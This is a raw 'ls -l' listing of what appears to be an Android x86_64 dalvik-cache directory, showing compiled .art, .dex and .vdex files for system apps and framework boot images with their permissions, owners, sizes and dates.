-rw-r----- 1 system all_a39     21120 2019-01-15 11:32 system@app@BuiltInPrintService@BuiltInPrintService.apk@classes.dex
-rw-r----- 1 system all_a39    110642 2023-08-22 09:49 system@app@BuiltInPrintService@BuiltInPrintService.apk@classes.vdex
-rw-r----- 1 system all_a42     24576 2023-08-22 09:49 system@app@Calendar@Calendar.apk@classes.art
-rw-r----- 1 system all_a42     29312 2019-01-15 11:33 system@app@Calendar@Calendar.apk@classes.dex
-rw-r----- 1 system all_a42   1119670 2023-08-22 09:49 system@app@Calendar@Calendar.apk@classes.vdex
-rw-r----- 1 system all_a43     28672 2023-08-22 09:49 system@app@Camera2@Camera2.apk@classes.art
-rw-r----- 1 system all_a43     70272 2019-01-15 11:34 system@app@Camera2@Camera2.apk@classes.dex
-rw-r----- 1 system all_a43   2455154 2023-08-22 09:49 system@app@Camera2@Camera2.apk@classes.vdex
-rw-r----- 1 system all_a41      8192 2023-08-22 09:50 system@app@CaptivePortalLogin@CaptivePortalLogin.apk@classes.art
-rw-r----- 1 system all_a41     17024 2019-01-15 11:31 system@app@CaptivePortalLogin@CaptivePortalLogin.apk@classes.dex
-rw-r----- 1 system all_a41     22178 2023-08-22 09:50 system@app@CaptivePortalLogin@CaptivePortalLogin.apk@classes.vdex
-rw-r----- 1 system all_a44     12288 2023-08-22 09:49 system@app@CarrierDefaultApp@CarrierDefaultApp.apk@classes.art
-rw-r----- 1 system all_a44     17024 2019-01-15 11:31 system@app@CarrierDefaultApp@CarrierDefaultApp.apk@classes.dex
-rw-r----- 1 system all_a44     33494 2023-08-22 09:49 system@app@CarrierDefaultApp@CarrierDefaultApp.apk@classes.vdex
-rw-r----- 1 system all_a46     12288 2023-08-22 09:49 system@app@CertInstaller@CertInstaller.apk@classes.art
-rw-r----- 1 system all_a46     17024 2019-01-15 11:31 system@app@CertInstaller@CertInstaller.apk@classes.dex
-rw-r----- 1 system all_a46     43188 2023-08-22 09:49 system@app@CertInstaller@CertInstaller.apk@classes.vdex
-rw-r----- 1 system all_a45      8192 2023-08-22 09:49 system@app@CompanionDeviceManager@CompanionDeviceManager.apk@classes.art
-rw-r----- 1 system all_a45     17024 2019-01-15 11:31 system@app@CompanionDeviceManager@CompanionDeviceManager.apk@classes.dex
-rw-r----- 1 system all_a45     23468 2023-08-22 09:49 system@app@CompanionDeviceManager@CompanionDeviceManager.apk@classes.vdex
-rw-r----- 1 system all_a51     28672 2023-08-22 09:50 system@app@DeskClock@DeskClock.apk@classes.art
-rw-r----- 1 system all_a51     45696 2019-01-15 11:34 system@app@DeskClock@DeskClock.apk@classes.dex
-rw-r----- 1 system all_a51   2437844 2023-08-22 09:50 system@app@DeskClock@DeskClock.apk@classes.vdex
-rw-r----- 1 system all_a48     16384 2023-08-22 09:50 system@app@Development@Development.apk@classes.art
-rw-r----- 1 system all_a48     17024 2019-01-15 11:31 system@app@Development@Development.apk@classes.dex
-rw-r----- 1 system all_a48    127702 2023-08-22 09:50 system@app@Development@Development.apk@classes.vdex
-rw-r----- 1 system all_a10      8192 2023-08-22 09:49 system@app@DownloadProviderUi@DownloadProviderUi.apk@classes.art
-rw-r----- 1 system all_a10     17024 2019-01-15 11:32 system@app@DownloadProviderUi@DownloadProviderUi.apk@classes.dex
-rw-r----- 1 system all_a10     13280 2023-08-22 09:49 system@app@DownloadProviderUi@DownloadProviderUi.apk@classes.vdex
-rw-r----- 1 system all_a49     20480 2023-08-22 09:49 system@app@EasterEgg@EasterEgg.apk@classes.art
-rw-r----- 1 system all_a49     25216 2019-01-15 11:34 system@app@EasterEgg@EasterEgg.apk@classes.dex
-rw-r----- 1 system all_a49    495222 2023-08-22 09:49 system@app@EasterEgg@EasterEgg.apk@classes.vdex
-rw-r----- 1 system all_a52     20480 2023-08-22 09:50 system@app@ExactCalculator@ExactCalculator.apk@classes.art
-rw-r----- 1 system all_a52     25216 2019-01-15 11:33 system@app@ExactCalculator@ExactCalculator.apk@classes.dex
-rw-r----- 1 system all_a52    756428 2023-08-22 09:50 system@app@ExactCalculator@ExactCalculator.apk@classes.vdex
-rw-r----- 1 system all_a56     28672 2023-08-22 09:49 system@app@Gallery2@Gallery2.apk@classes.art
-rw-r----- 1 system all_a56     53888 2019-01-15 11:33 system@app@Gallery2@Gallery2.apk@classes.dex
-rw-r----- 1 system all_a56   2481446 2023-08-22 09:49 system@app@Gallery2@Gallery2.apk@classes.vdex
-rw-r----- 1 system all_a53     24576 2023-08-22 09:50 system@app@GoogleCalendarSyncAdapter@GoogleCalendarSyncAdapter.apk@classes.art
-rw-r----- 1 system all_a53     41600 2019-01-15 07:37 system@app@GoogleCalendarSyncAdapter@GoogleCalendarSyncAdapter.apk@classes.dex
-rw-r----- 1 system all_a53   1381886 2023-08-22 09:50 system@app@GoogleCalendarSyncAdapter@GoogleCalendarSyncAdapter.apk@classes.vdex
-rw-r----- 1 system all_a57     24576 2023-08-22 09:49 system@app@GoogleContactsSyncAdapter@GoogleContactsSyncAdapter.apk@classes.art
-rw-r----- 1 system all_a57     45696 2019-01-15 07:37 system@app@GoogleContactsSyncAdapter@GoogleContactsSyncAdapter.apk@classes.dex
-rw-r----- 1 system all_a57   1995028 2023-08-22 09:49 system@app@GoogleContactsSyncAdapter@GoogleContactsSyncAdapter.apk@classes.vdex
-rw-r----- 1 system all_a54      8192 2023-08-22 09:49 system@app@GoogleExtShared@GoogleExtShared.apk@classes.art
-rw-r----- 1 system all_a54     17024 2019-01-15 07:37 system@app@GoogleExtShared@GoogleExtShared.apk@classes.dex
-rw-r----- 1 system all_a54      1540 2023-08-22 09:49 system@app@GoogleExtShared@GoogleExtShared.apk@classes.vdex
-rw-r----- 1 system all_a55      8192 2023-08-22 09:50 system@app@GooglePrintRecommendationService@GooglePrintRecommendationService.apk@classes.art
-rw-r----- 1 system all_a55     17024 2019-01-15 07:37 system@app@GooglePrintRecommendationService@GooglePrintRecommendationService.apk@classes.dex
-rw-r----- 1 system all_a55     55710 2023-08-22 09:50 system@app@GooglePrintRecommendationService@GooglePrintRecommendationService.apk@classes.vdex
-rw-r----- 1 system all_a58      8192 2023-08-22 09:49 system@app@HTMLViewer@HTMLViewer.apk@classes.art
-rw-r----- 1 system all_a58     17024 2019-01-15 11:32 system@app@HTMLViewer@HTMLViewer.apk@classes.dex
-rw-r----- 1 system all_a58      7788 2023-08-22 09:49 system@app@HTMLViewer@HTMLViewer.apk@classes.vdex
-rw-r----- 1 system all_a61     69632 2023-08-22 09:50 system@app@LatinIME@LatinIME.apk@classes.art
-rw-r----- 1 system all_a61    541312 2019-01-15 11:34 system@app@LatinIME@LatinIME.apk@classes.dex
-rw-r----- 1 system all_a61   1121442 2023-08-22 09:50 system@app@LatinIME@LatinIME.apk@classes.vdex
-rw-r----- 1 system all_a60     28672 2023-08-22 09:50 system@app@LiveWallpapersPicker@LiveWallpapersPicker.apk@classes.art
-rw-r----- 1 system all_a60     41600 2019-01-15 11:34 system@app@LiveWallpapersPicker@LiveWallpapersPicker.apk@classes.dex
-rw-r----- 1 system all_a60   1744544 2023-08-22 09:50 system@app@LiveWallpapersPicker@LiveWallpapersPicker.apk@classes.vdex
-rw-r----- 1 system all_a59      8192 2023-08-22 09:49 system@app@NotePad@NotePad.apk@classes.art
-rw-r----- 1 system all_a59     17024 2019-01-15 11:32 system@app@NotePad@NotePad.apk@classes.dex
-rw-r----- 1 system all_a59     25430 2023-08-22 09:49 system@app@NotePad@NotePad.apk@classes.vdex
-rw-r----- 1 system all_a63      8192 2023-08-22 09:49 system@app@PacProcessor@PacProcessor.apk@classes.art
-rw-r----- 1 system all_a63     21120 2019-01-15 11:32 system@app@PacProcessor@PacProcessor.apk@classes.dex
-rw-r----- 1 system all_a63      4784 2023-08-22 09:49 system@app@PacProcessor@PacProcessor.apk@classes.vdex
-rw-r----- 1 system all_a64     12288 2023-08-22 09:50 system@app@PartnerBookmarksProvider@PartnerBookmarksProvider.apk@classes.art
-rw-r----- 1 system all_a64     17024 2019-01-15 11:31 system@app@PartnerBookmarksProvider@PartnerBookmarksProvider.apk@classes.dex
-rw-r----- 1 system all_a64     40702 2023-08-22 09:50 system@app@PartnerBookmarksProvider@PartnerBookmarksProvider.apk@classes.vdex
-rw-r----- 1 system all_a66     20480 2023-08-22 09:49 system@app@PrintSpooler@PrintSpooler.apk@classes.art
-rw-r----- 1 system all_a66     29312 2019-01-15 11:34 system@app@PrintSpooler@PrintSpooler.apk@classes.dex
-rw-r----- 1 system all_a66    686036 2023-08-22 09:49 system@app@PrintSpooler@PrintSpooler.apk@classes.vdex
-rw-r----- 1 system all_a67      8192 2023-08-22 09:49 system@app@RSSReader@RSSReader.apk@classes.art
-rw-r----- 1 system all_a67     17024 2019-01-15 11:32 system@app@RSSReader@RSSReader.apk@classes.dex
-rw-r----- 1 system all_a67     12868 2023-08-22 09:49 system@app@RSSReader@RSSReader.apk@classes.vdex
-rw-r--r-- 1 system all_a4      45696 2019-01-15 11:32 system@app@UserDictionaryProvider@UserDictionaryProvider.apk@classes.dex
-rw-r--r-- 1 system all_a4      17376 2023-08-22 09:50 system@app@UserDictionaryProvider@UserDictionaryProvider.apk@classes.vdex
-rw-r----- 1 system all_a68     16384 2023-08-22 09:50 system@app@WallpaperPicker@WallpaperPicker.apk@classes.art
-rw-r----- 1 system all_a68     21120 2019-01-15 11:34 system@app@WallpaperPicker@WallpaperPicker.apk@classes.dex
-rw-r----- 1 system all_a68    247270 2023-08-22 09:50 system@app@WallpaperPicker@WallpaperPicker.apk@classes.vdex
-rw-r----- 1 system all_a69     32768 2023-08-22 09:49 system@app@WebViewGoogle@WebViewGoogle.apk@classes.art
-rw-r----- 1 system all_a69    131712 2019-01-15 07:53 system@app@WebViewGoogle@WebViewGoogle.apk@classes.dex
-rw-r----- 1 system all_a69   2348986 2023-08-22 09:49 system@app@WebViewGoogle@WebViewGoogle.apk@classes.vdex
-rw-r--r-- 1 root   root        12288 2020-03-07 03:07 system@framework@boot-android.hidl.base-V1.0-java.art
lrwxrwxrwx 1 root   root           61 2020-03-07 03:07 system@framework@boot-android.hidl.base-V1.0-java.oat -> /system/framework/x86_64/boot-android.hidl.base-V1.0-java.oat
lrwxrwxrwx 1 root   root           62 2020-03-07 03:07 system@framework@boot-android.hidl.base-V1.0-java.vdex -> /system/framework/x86_64/boot-android.hidl.base-V1.0-java.vdex
-rw-r--r-- 1 root   root        16384 2020-03-07 03:07 system@framework@boot-android.hidl.manager-V1.0-java.art
lrwxrwxrwx 1 root   root           64 2020-03-07 03:07 system@framework@boot-android.hidl.manager-V1.0-java.oat -> /system/framework/x86_64/boot-android.hidl.manager-V1.0-java.oat
lrwxrwxrwx 1 root   root           65 2020-03-07 03:07 system@framework@boot-android.hidl.manager-V1.0-java.vdex -> /system/framework/x86_64/boot-android.hidl.manager-V1.0-java.vdex
-rw-r--r-- 1 root   root        69632 2020-03-07 03:07 system@framework@boot-apache-xml.art
lrwxrwxrwx 1 root   root           44 2020-03-07 03:07 system@framework@boot-apache-xml.oat -> /system/framework/x86_64/boot-apache-xml.oat
lrwxrwxrwx 1 root   root           45 2020-03-07 03:07 system@framework@boot-apache-xml.vdex -> /system/framework/x86_64/boot-apache-xml.vdex
-rw-r--r-- 1 root   root       204800 2020-03-07 03:07 system@framework@boot-bouncycastle.art
lrwxrwxrwx 1 root   root           46 2020-03-07 03:07 system@framework@boot-bouncycastle.oat -> /system/framework/x86_64/boot-bouncycastle.oat
lrwxrwxrwx 1 root   root           47 2020-03-07 03:07 system@framework@boot-bouncycastle.vdex -> /system/framework/x86_64/boot-bouncycastle.vdex
-rw-r--r-- 1 root   root       307200 2020-03-07 03:07 system@framework@boot-conscrypt.art
lrwxrwxrwx 1 root   root           43 2020-03-07 03:07 system@framework@boot-conscrypt.oat -> /system/framework/x86_64/boot-conscrypt.oat
lrwxrwxrwx 1 root   root           44 2020-03-07 03:07 system@framework@boot-conscrypt.vdex -> /system/framework/x86_64/boot-conscrypt.vdex
-rw-r--r-- 1 root   root       815104 2020-03-07 03:07 system@framework@boot-core-libart.art
lrwxrwxrwx 1 root   root           45 2020-03-07 03:07 system@framework@boot-core-libart.oat -> /system/framework/x86_64/boot-core-libart.oat
lrwxrwxrwx 1 root   root           46 2020-03-07 03:07 system@framework@boot-core-libart.vdex -> /system/framework/x86_64/boot-core-libart.vdex
-rw-r--r-- 1 root   root       180224 2020-03-07 03:07 system@framework@boot-ext.art
lrwxrwxrwx 1 root   root           37 2020-03-07 03:07 system@framework@boot-ext.oat -> /system/framework/x86_64/boot-ext.oat
lrwxrwxrwx 1 root   root           38 2020-03-07 03:07 system@framework@boot-ext.vdex -> /system/framework/x86_64/boot-ext.vdex
-rw-r--r-- 1 root   root      6287360 2020-03-07 03:07 system@framework@boot-framework.art
lrwxrwxrwx 1 root   root           43 2020-03-07 03:07 system@framework@boot-framework.oat -> /system/framework/x86_64/boot-framework.oat
lrwxrwxrwx 1 root   root           44 2020-03-07 03:07 system@framework@boot-framework.vdex -> /system/framework/x86_64/boot-framework.vdex
-rw-r--r-- 1 root   root        45056 2020-03-07 03:07 system@framework@boot-ims-common.art
lrwxrwxrwx 1 root   root           44 2020-03-07 03:07 system@framework@boot-ims-common.oat -> /system/framework/x86_64/boot-ims-common.oat
lrwxrwxrwx 1 root   root           45 2020-03-07 03:07 system@framework@boot-ims-common.vdex -> /system/framework/x86_64/boot-ims-common.vdex
-rw-r--r-- 1 root   root        24576 2020-03-07 03:07 system@framework@boot-legacy-test.art
lrwxrwxrwx 1 root   root           45 2020-03-07 03:07 system@framework@boot-legacy-test.oat -> /system/framework/x86_64/boot-legacy-test.oat
lrwxrwxrwx 1 root   root           46 2020-03-07 03:07 system@framework@boot-legacy-test.vdex -> /system/framework/x86_64/boot-legacy-test.vdex
-rw-r--r-- 1 root   root       184320 2020-03-07 03:07 system@framework@boot-okhttp.art
lrwxrwxrwx 1 root   root           40 2020-03-07 03:07 system@framework@boot-okhttp.oat -> /system/framework/x86_64/boot-okhttp.oat
lrwxrwxrwx 1 root   root           41 2020-03-07 03:07 system@framework@boot-okhttp.vdex -> /system/framework/x86_64/boot-okhttp.vdex
-rw-r--r-- 1 root   root       159744 2020-03-07 03:07 system@framework@boot-org.apache.http.legacy.boot.art
lrwxrwxrwx 1 root   root           61 2020-03-07 03:07 system@framework@boot-org.apache.http.legacy.boot.oat -> /system/framework/x86_64/boot-org.apache.http.legacy.boot.oat
lrwxrwxrwx 1 root   root           62 2020-03-07 03:07 system@framework@boot-org.apache.http.legacy.boot.vdex -> /system/framework/x86_64/boot-org.apache.http.legacy.boot.vdex
-rw-r--r-- 1 root   root       274432 2020-03-07 03:07 system@framework@boot-telephony-common.art
lrwxrwxrwx 1 root   root           50 2020-03-07 03:07 system@framework@boot-telephony-common.oat -> /system/framework/x86_64/boot-telephony-common.oat
lrwxrwxrwx 1 root   root           51 2020-03-07 03:07 system@framework@boot-telephony-common.vdex -> /system/framework/x86_64/boot-telephony-common.vdex
-rw-r--r-- 1 root   root        49152 2020-03-07 03:07 system@framework@boot-voip-common.art
lrwxrwxrwx 1 root   root           45 2020-03-07 03:07 system@framework@boot-voip-common.oat -> /system/framework/x86_64/boot-voip-common.oat
lrwxrwxrwx 1 root   root           46 2020-03-07 03:07 system@framework@boot-voip-common.vdex -> /system/framework/x86_64/boot-voip-common.vdex
-rw-r--r-- 1 root   root      2347008 2020-03-07 03:07 system@framework@boot.art
lrwxrwxrwx 1 root   root           33 2020-03-07 03:07 system@framework@boot.oat -> /system/framework/x86_64/boot.oat
lrwxrwxrwx 1 root   root           34 2020-03-07 03:07 system@framework@boot.vdex -> /system/framework/x86_64/boot.vdex
-rw-r----- 1 system all_a1       8192 2023-08-22 09:49 system@priv-app@BackupRestoreConfirmation@BackupRestoreConfirmation.apk@classes.art
-rw-r----- 1 system all_a1      17024 2019-01-15 11:32 system@priv-app@BackupRestoreConfirmation@BackupRestoreConfirmation.apk@classes.dex
-rw-r----- 1 system all_a1       9700 2023-08-22 09:49 system@priv-app@BackupRestoreConfirmation@BackupRestoreConfirmation.apk@classes.vdex
-rw-r--r-- 1 system all_a4     795264 2019-01-15 11:34 system@priv-app@BlockedNumberProvider@BlockedNumberProvider.apk@classes.dex
-rw-r--r-- 1 system all_a4     391862 2023-08-22 09:50 system@priv-app@BlockedNumberProvider@BlockedNumberProvider.apk@classes.vdex
-rw-r----- 1 system all_a5      20480 2023-08-22 09:49 system@priv-app@CalendarProvider@CalendarProvider.apk@classes.art
-rw-r----- 1 system all_a5      25216 2019-01-15 11:34 system@priv-app@CalendarProvider@CalendarProvider.apk@classes.dex
-rw-r----- 1 system all_a5     608674 2023-08-22 09:49 system@priv-app@CalendarProvider@CalendarProvider.apk@classes.vdex
-rw-r----- 1 system all_a4       8192 2023-08-22 09:49 system@priv-app@CallLogBackup@CallLogBackup.apk@classes.art
-rw-r----- 1 system all_a4      17024 2019-01-15 11:32 system@priv-app@CallLogBackup@CallLogBackup.apk@classes.dex
-rw-r----- 1 system all_a4      14534 2023-08-22 09:49 system@priv-app@CallLogBackup@CallLogBackup.apk@classes.vdex
-rw-r----- 1 system all_a3       8192 2023-08-22 09:49 system@priv-app@CarrierConfig@CarrierConfig.apk@classes.art
-rw-r----- 1 system all_a3      17024 2019-01-15 11:34 system@priv-app@CarrierConfig@CarrierConfig.apk@classes.dex
-rw-r----- 1 system all_a3       5318 2023-08-22 09:49 system@priv-app@CarrierConfig@CarrierConfig.apk@classes.vdex
-rw-r----- 1 system all_a8      28672 2023-08-22 09:49 system@priv-app@CellBroadcastReceiver@CellBroadcastReceiver.apk@classes.art
-rw-r----- 1 system all_a8      33408 2019-01-15 11:35 system@priv-app@CellBroadcastReceiver@CellBroadcastReceiver.apk@classes.dex
-rw-r----- 1 system all_a8    1660870 2023-08-22 09:49 system@priv-app@CellBroadcastReceiver@CellBroadcastReceiver.apk@classes.vdex
-rw-r----- 1 system all_a9      32768 2023-08-22 09:49 system@priv-app@Contacts@Contacts.apk@classes.art
-rw-r----- 1 system all_a9      74368 2019-01-15 11:36 system@priv-app@Contacts@Contacts.apk@classes.dex
-rw-r----- 1 system all_a9    4620130 2023-08-22 09:49 system@priv-app@Contacts@Contacts.apk@classes.vdex
-rw-r----- 1 system all_a4      20480 2023-08-22 09:50 system@priv-app@ContactsProvider@ContactsProvider.apk@classes.art
-rw-r----- 1 system all_a4      29312 2019-01-15 11:34 system@priv-app@ContactsProvider@ContactsProvider.apk@classes.dex
-rw-r----- 1 system all_a4    1099982 2023-08-22 09:50 system@priv-app@ContactsProvider@ContactsProvider.apk@classes.vdex
-rw-r----- 1 system all_a7       8192 2023-08-22 09:49 system@priv-app@DefaultContainerService@DefaultContainerService.apk@classes.art
-rw-r----- 1 system all_a7      17024 2019-01-15 11:34 system@priv-app@DefaultContainerService@DefaultContainerService.apk@classes.dex
-rw-r----- 1 system all_a7      11910 2023-08-22 09:49 system@priv-app@DefaultContainerService@DefaultContainerService.apk@classes.vdex
-rw-r----- 1 system all_a14     36864 2023-08-22 09:49 system@priv-app@Dialer@Dialer.apk@classes.art
-rw-r----- 1 system all_a14    119424 2019-01-15 11:39 system@priv-app@Dialer@Dialer.apk@classes.dex
-rw-r----- 1 system all_a14   5695452 2023-08-22 09:49 system@priv-app@Dialer@Dialer.apk@classes.vdex
-rw-r----- 1 system all_a12    196608 2023-08-22 09:49 system@priv-app@DocumentsUI@DocumentsUI.apk@classes.art
-rw-r----- 1 system all_a12    774784 2019-01-15 11:35 system@priv-app@DocumentsUI@DocumentsUI.apk@classes.dex
-rw-r----- 1 system all_a12   2272704 2023-08-22 09:49 system@priv-app@DocumentsUI@DocumentsUI.apk@classes.vdex
-rw-r----- 1 system all_a10     16384 2023-08-22 09:49 system@priv-app@DownloadProvider@DownloadProvider.apk@classes.art
-rw-r----- 1 system all_a10     25216 2019-01-15 11:35 system@priv-app@DownloadProvider@DownloadProvider.apk@classes.dex
-rw-r----- 1 system all_a10    482438 2023-08-22 09:49 system@priv-app@DownloadProvider@DownloadProvider.apk@classes.vdex
-rw-r----- 1 system all_a11     32768 2023-08-22 09:50 system@priv-app@Eleven@Eleven.apk@classes.art
-rw-r----- 1 system all_a11    111232 2019-01-15 11:36 system@priv-app@Eleven@Eleven.apk@classes.dex
-rw-r----- 1 system all_a11   5237636 2023-08-22 09:50 system@priv-app@Eleven@Eleven.apk@classes.vdex
-rw-r----- 1 system all_a17     32768 2023-08-22 09:50 system@priv-app@EmergencyInfo@EmergencyInfo.apk@classes.art
-rw-r----- 1 system all_a17    119424 2019-01-15 11:36 system@priv-app@EmergencyInfo@EmergencyInfo.apk@classes.dex
-rw-r----- 1 system all_a17   1795084 2023-08-22 09:50 system@priv-app@EmergencyInfo@EmergencyInfo.apk@classes.vdex
-rw-r----- 1 system all_a13      8192 2023-08-22 09:49 system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.art
-rw-r----- 1 system all_a13     17024 2019-01-15 11:35 system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.dex
-rw-r----- 1 system all_a13     27064 2023-08-22 09:49 system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.vdex
-rw-r----- 1 system all_a15      8192 2023-08-22 09:50 system@priv-app@GoogleBackupTransport@GoogleBackupTransport.apk@classes.art
-rw-r----- 1 system all_a15     17024 2019-01-15 07:37 system@priv-app@GoogleBackupTransport@GoogleBackupTransport.apk@classes.dex
-rw-r----- 1 system all_a15      8858 2023-08-22 09:50 system@priv-app@GoogleBackupTransport@GoogleBackupTransport.apk@classes.vdex
-rw-r----- 1 system all_a16      8192 2023-08-22 09:49 system@priv-app@GoogleExtServices@GoogleExtServices.apk@classes.art
-rw-r----- 1 system all_a16     17024 2019-01-15 07:37 system@priv-app@GoogleExtServices@GoogleExtServices.apk@classes.dex
-rw-r----- 1 system all_a16     14920 2023-08-22 09:49 system@priv-app@GoogleExtServices@GoogleExtServices.apk@classes.vdex
-rw-r----- 1 system all_a19     20480 2023-08-22 09:50 system@priv-app@GoogleFeedback@GoogleFeedback.apk@classes.art
-rw-r----- 1 system all_a19     25216 2019-01-15 07:37 system@priv-app@GoogleFeedback@GoogleFeedback.apk@classes.dex
-rw-r----- 1 system all_a19    506384 2023-08-22 09:50 system@priv-app@GoogleFeedback@GoogleFeedback.apk@classes.vdex
-rw-r----- 1 system all_a15     28672 2023-08-22 09:50 system@priv-app@GoogleLoginService@GoogleLoginService.apk@classes.art
-rw-r----- 1 system all_a15     70272 2019-01-15 07:37 system@priv-app@GoogleLoginService@GoogleLoginService.apk@classes.dex
-rw-r----- 1 system all_a15   2433224 2023-08-22 09:50 system@priv-app@GoogleLoginService@GoogleLoginService.apk@classes.vdex
-rw-r----- 1 system all_a18     12288 2023-08-22 09:49 system@priv-app@GoogleOneTimeInitializer@GoogleOneTimeInitializer.apk@classes.art
-rw-r----- 1 system all_a18     17024 2019-01-15 07:37 system@priv-app@GoogleOneTimeInitializer@GoogleOneTimeInitializer.apk@classes.dex
-rw-r----- 1 system all_a18    147972 2023-08-22 09:49 system@priv-app@GoogleOneTimeInitializer@GoogleOneTimeInitializer.apk@classes.vdex
-rw-r----- 1 system all_a20     28672 2023-08-22 09:49 system@priv-app@GooglePackageInstaller@GooglePackageInstaller.apk@classes.art
-rw-r----- 1 system all_a20     45696 2019-01-15 07:37 system@priv-app@GooglePackageInstaller@GooglePackageInstaller.apk@classes.dex
-rw-r----- 1 system all_a20   2161698 2023-08-22 09:49 system@priv-app@GooglePackageInstaller@GooglePackageInstaller.apk@classes.vdex
-rw-r----- 1 system all_a21     20480 2023-08-22 09:49 system@priv-app@GooglePartnerSetup@GooglePartnerSetup.apk@classes.art
-rw-r----- 1 system all_a21     41600 2019-01-15 07:37 system@priv-app@GooglePartnerSetup@GooglePartnerSetup.apk@classes.dex
-rw-r----- 1 system all_a21   1395394 2023-08-22 09:49 system@priv-app@GooglePartnerSetup@GooglePartnerSetup.apk@classes.vdex
-rw-r----- 1 system all_a15     20480 2023-08-22 09:49 system@priv-app@GoogleServicesFramework@GoogleServicesFramework.apk@classes.art
-rw-r----- 1 system all_a15     29312 2019-01-15 07:37 system@priv-app@GoogleServicesFramework@GoogleServicesFramework.apk@classes.dex
-rw-r----- 1 system all_a15    953174 2023-08-22 09:49 system@priv-app@GoogleServicesFramework@GoogleServicesFramework.apk@classes.vdex
-rw-r----- 1 system all_a22    249856 2023-08-22 09:49 system@priv-app@Launcher3@Launcher3.apk@classes.art
-rw-r----- 1 system all_a22   1442432 2019-01-15 11:36 system@priv-app@Launcher3@Launcher3.apk@classes.dex
-rw-r----- 1 system all_a22   1677992 2023-08-22 09:49 system@priv-app@Launcher3@Launcher3.apk@classes.vdex
-rw-r----- 1 system all_a23     20480 2023-08-22 09:50 system@priv-app@ManagedProvisioning@ManagedProvisioning.apk@classes.art
-rw-r----- 1 system all_a23     25216 2019-01-15 11:36 system@priv-app@ManagedProvisioning@ManagedProvisioning.apk@classes.dex
-rw-r----- 1 system all_a23    389266 2023-08-22 09:50 system@priv-app@ManagedProvisioning@ManagedProvisioning.apk@classes.vdex
-rw-r--r-- 1 system all_a10    373376 2019-01-15 11:36 system@priv-app@MediaProvider@MediaProvider.apk@classes.dex
-rw-r--r-- 1 system all_a10    166326 2023-08-22 09:49 system@priv-app@MediaProvider@MediaProvider.apk@classes.vdex
-rw-r----- 1 system u0_a31001   20480 2023-08-22 09:49 system@priv-app@MmsService@MmsService.apk@classes.art
-rw-r----- 1 system u0_a31001   17024 2019-01-15 11:36 system@priv-app@MmsService@MmsService.apk@classes.dex
-rw-r----- 1 system u0_a31001   74662 2023-08-22 09:49 system@priv-app@MmsService@MmsService.apk@classes.vdex
-rw-r----- 1 system all_a10     12288 2023-08-22 09:49 system@priv-app@MtpDocumentsProvider@MtpDocumentsProvider.apk@classes.art
-rw-r----- 1 system all_a10     17024 2019-01-15 11:36 system@priv-app@MtpDocumentsProvider@MtpDocumentsProvider.apk@classes.dex
-rw-r----- 1 system all_a10     75498 2023-08-22 09:49 system@priv-app@MtpDocumentsProvider@MtpDocumentsProvider.apk@classes.vdex
-rw-r----- 1 system all_a25      8192 2023-08-22 09:49 system@priv-app@ProxyHandler@ProxyHandler.apk@classes.art
-rw-r----- 1 system all_a25     17024 2019-01-15 11:36 system@priv-app@ProxyHandler@ProxyHandler.apk@classes.dex
-rw-r----- 1 system all_a25     11858 2023-08-22 09:49 system@priv-app@ProxyHandler@ProxyHandler.apk@classes.vdex
-rw-r----- 1 system u0_a31000 1323008 2023-08-22 09:50 system@priv-app@Settings@Settings.apk@classes.art
-rw-r----- 1 system u0_a31000   82560 2019-01-15 11:38 system@priv-app@Settings@Settings.apk@classes.dex
-rw-r----- 1 system u0_a31000 5197028 2023-08-22 09:50 system@priv-app@Settings@Settings.apk@classes.vdex
-rw-r----- 1 system all_a26    118784 2023-08-22 09:49 system@priv-app@SetupWizard@SetupWizard.apk@classes.art
-rw-r----- 1 system all_a26    537216 2019-01-15 07:37 system@priv-app@SetupWizard@SetupWizard.apk@classes.dex
-rw-r----- 1 system all_a26   3370736 2023-08-22 09:49 system@priv-app@SetupWizard@SetupWizard.apk@classes.vdex
-rw-r----- 1 system all_a27      8192 2023-08-22 09:49 system@priv-app@SharedStorageBackup@SharedStorageBackup.apk@classes.art
-rw-r----- 1 system all_a27     17024 2019-01-15 11:36 system@priv-app@SharedStorageBackup@SharedStorageBackup.apk@classes.dex
-rw-r----- 1 system all_a27      8710 2023-08-22 09:49 system@priv-app@SharedStorageBackup@SharedStorageBackup.apk@classes.vdex
-rw-r----- 1 system u0_a32000   57344 2023-08-22 09:50 system@priv-app@Shell@Shell.apk@classes.art
-rw-r----- 1 system u0_a32000   21120 2019-01-15 11:36 system@priv-app@Shell@Shell.apk@classes.dex
-rw-r----- 1 system u0_a32000  191410 2023-08-22 09:50 system@priv-app@Shell@Shell.apk@classes.vdex
-rw-r----- 1 system all_a28     12288 2023-08-22 09:49 system@priv-app@StatementService@StatementService.apk@classes.art
-rw-r----- 1 system all_a28     17024 2019-01-15 11:36 system@priv-app@StatementService@StatementService.apk@classes.dex
-rw-r----- 1 system all_a28     70446 2023-08-22 09:49 system@priv-app@StatementService@StatementService.apk@classes.vdex
-rw-r----- 1 system all_a29     28672 2023-08-22 09:50 system@priv-app@StorageManager@StorageManager.apk@classes.art
-rw-r----- 1 system all_a29     41600 2019-01-15 11:37 system@priv-app@StorageManager@StorageManager.apk@classes.dex
-rw-r----- 1 system all_a29   1863148 2023-08-22 09:50 system@priv-app@StorageManager@StorageManager.apk@classes.vdex
-rw-r----- 1 system all_a31    536576 2023-08-22 09:50 system@priv-app@SystemUI@SystemUI.apk@classes.art
-rw-r----- 1 system all_a31   2933376 2019-01-15 11:39 system@priv-app@SystemUI@SystemUI.apk@classes.dex
-rw-r----- 1 system all_a31   5670808 2023-08-22 09:50 system@priv-app@SystemUI@SystemUI.apk@classes.vdex
-rw-r----- 1 system u0_a31000   16384 2023-08-22 09:49 system@priv-app@TSCalibration2@TSCalibration2.apk@classes.art
-rw-r----- 1 system u0_a31000   17024 2019-01-15 11:37 system@priv-app@TSCalibration2@TSCalibration2.apk@classes.dex
-rw-r----- 1 system u0_a31000    9936 2023-08-22 09:49 system@priv-app@TSCalibration2@TSCalibration2.apk@classes.vdex
-rw-r----- 1 system all_a30     32768 2023-08-22 09:50 system@priv-app@Taskbar@Taskbar.apk@classes.art
-rw-r----- 1 system all_a30     45696 2019-01-15 16:05 system@priv-app@Taskbar@Taskbar.apk@classes.dex
-rw-r----- 1 system all_a30   2840418 2023-08-22 09:50 system@priv-app@Taskbar@Taskbar.apk@classes.vdex
